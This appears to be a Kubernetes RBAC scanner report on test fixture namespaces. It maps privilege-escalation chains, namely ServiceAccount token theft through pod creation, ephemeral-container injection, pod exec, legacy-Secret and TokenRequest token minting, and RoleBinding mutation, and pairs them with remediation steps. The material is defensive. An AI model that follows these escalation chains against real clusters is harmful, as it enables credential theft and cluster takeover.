Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape yields full takeover of rbac-ns-fixtures: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceNamespace

A Namespace divides cluster resources by team, environment, or application. RoleBindings, NetworkPolicies, ResourceQuotas, and most admission rules apply at namespace scope. Compromising one workload in a namespace often gives lateral access to the rest of that namespace's resources.

  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape (RCE, leaked token, malicious image).
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate, the attacker abuses RoleBinding write access (create,update,patch rolebindings) to add themselves (or any subject they control) to a high-privilege ClusterRoleBinding, typically cluster-admin. They don't need the target role's permissions today, only the ability to change bindings.
  6. Final step: the attacker holds an identity that can verbs:[*] on resources:[*] inside rbac-ns-fixtures. They read every Secret and ConfigMap in rbac-ns-fixtures, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence.
  1. Step 1 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 4 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate
  4. Step 4 of 4 RoleBinding write access modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to any role, typically cluster-admin. They don't need the role's permissions today, only the ability to change bindings.

    Scope matters. Granted at cluster scope (via a ClusterRoleBinding, or with cluster-wide reach on rolebindings) the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate
    Permission granted create,update,patch rolebindings
    Gives the attacker can create or mutate RoleBindings in namespace rbac-ns-fixtures to grant itself any role within rbac-ns-fixtures
Remediation
Break the chain at the weakest hop and tighten RBAC writes inside rbac-ns-fixtures: remove the create,update,patch rolebindings capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/).
  1. Confirm the chain with kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-pod-create-escape (and bind/escalate on roles) — both should return no for any non-admin workload.
  2. Identify the lowest-cost hop to break (typically remove the create,update,patch rolebindings capability that enables hop 4 (ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate/)); removing one mid-chain hop kills the entire path.
  3. Audit Roles in rbac-ns-fixtures granting RBAC writes: kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains("rolebindings") or contains("roles"))'. Most workloads should have zero RBAC write rights.
  4. Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.
  5. Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in rbac-ns-fixtures whose roleRef points at cluster-admin, admin, or any ClusterRole matching *system:* outside an explicit allowlist.
HIGH

Subjects can reach token_mint in 1 hop(s)

KUBE-PRIVESC-PATH-GENERIC 9 subjects Score 7.0–6.5
MITRE ATT&CK: T1078.004T1098T1068

Affected subjects (9)

HIGH ServiceAccount/privesc-fixtures/sa-secret-mint Cluster 7.0
ServiceAccount/privesc-fixtures/sa-secret-mint can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-secret-minttoken_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-secret-mint

Subject ServiceAccount/privesc-fixtures/sa-secret-mint has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-secret-mint/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-secret-mint chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-secret-mint.
  2. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint/).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/privesc-fixtures/sa-secret-mint/).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 7.0
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admintoken_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-cluster-admin/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-cluster-admin.
  2. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin/).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-token-create Cluster 7.0
ServiceAccount/rbac-fixtures/sa-token-create can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-createtoken_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-token-create/ via mint_arbitrary_token (create serviceaccounts/token (cluster-wide)): can mint a service-account token for any ServiceAccount in any namespace

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls serviceaccounts/token at cluster scope (create serviceaccounts/token (cluster-wide)) to mint a token for any ServiceAccount in any namespace. With no resourceNames constraint, the verb amounts to a credential-issuing oracle.
  3. Final step: attacker reaches token_mint.
  1. Mint a token for any ServiceAccount mint_arbitrary_token

    The create verb on serviceaccounts/token at cluster scope (without resourceNames) lets the holder mint a fresh, valid token for any ServiceAccount in any namespace. No pod creation or exec needed, and it leaves a thinner audit trail than the pod-mount route.

    From ServiceAccount/rbac-fixtures/sa-token-create
    Permission granted create serviceaccounts/token (cluster-wide)
    Gives the attacker can mint a service-account token for any ServiceAccount in any namespace
Remediation
Break the chain at the weakest hop: remove the permission create serviceaccounts/token (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create/).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create serviceaccounts/token (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-token-create/).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 7.0
ServiceAccount/rbac-fixtures/sa-wildcard can reach token_mint in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcardtoken_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-wildcard/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-wildcard.
  2. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  3. Final step: attacker reaches token_mint.
  1. Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create + get secrets (cluster-wide) that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 6.5
ServiceAccount/privesc-fixtures/sa-ephemeral can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeraltoken_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-wildcard via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-wildcard
2. ServiceAccount/rbac-fixtures/sa-wildcard/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-wildcard via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-wildcard.
  3. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-wildcard
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-wildcard).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-wildcard).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 6.5
ServiceAccount/privesc-fixtures/sa-pod-create-escape can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escapetoken_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
2. ServiceAccount/privesc-fixtures/sa-secret-mint/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-create-escape chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-secret-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-secret-mint, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 6.5
ServiceAccount/privesc-fixtures/sa-pod-exec can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exectoken_mint
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-wildcard via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount rbac-fixtures/sa-wildcard
2. ServiceAccount/rbac-fixtures/sa-wildcard/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/rbac-fixtures/sa-wildcard and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-wildcard
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-wildcard).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-wildcard).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 6.5
ServiceAccount/rbac-fixtures/sa-pod-create can reach token_mint in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-pod-createtoken_mint
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create has a multi-hop chain to token_mint. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.

The chain:
1. ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-cluster-admin via pod_create_token_theft (create pods): can create pods that mount ServiceAccount rbac-fixtures/sa-cluster-admin
2. ServiceAccount/rbac-fixtures/sa-cluster-admin/ via secret_mint_token (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create chains to token_mint. Investigate the specific privileges this sink represents in your cluster.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/rbac-fixtures/sa-cluster-admin ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the secret_mint_token technique via create + get secrets (cluster-wide), which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.
  4. Final step: attacker reaches token_mint.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-cluster-admin
  2. Step 2 of 2 Mint a token via a legacy Secret secret_mint_token

    Holding both create and get on secrets lets an attacker create a Secret of type kubernetes.io/service-account-token annotated for a target ServiceAccount. The token controller fills in a valid, non-expiring token, which the attacker reads back. This bypasses the serviceaccounts/token TokenRequest gate entirely and leaves a persistent, secret-backed credential.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted create + get secrets (cluster-wide)
    Gives the attacker can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount
Remediation
Break the chain at the weakest hop: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-cluster-admin).
  1. Confirm each hop with kubectl auth can-i.
  2. Apply the cut: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-cluster-admin).
  3. Re-run the scanner to confirm the path no longer resolves.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 6.5
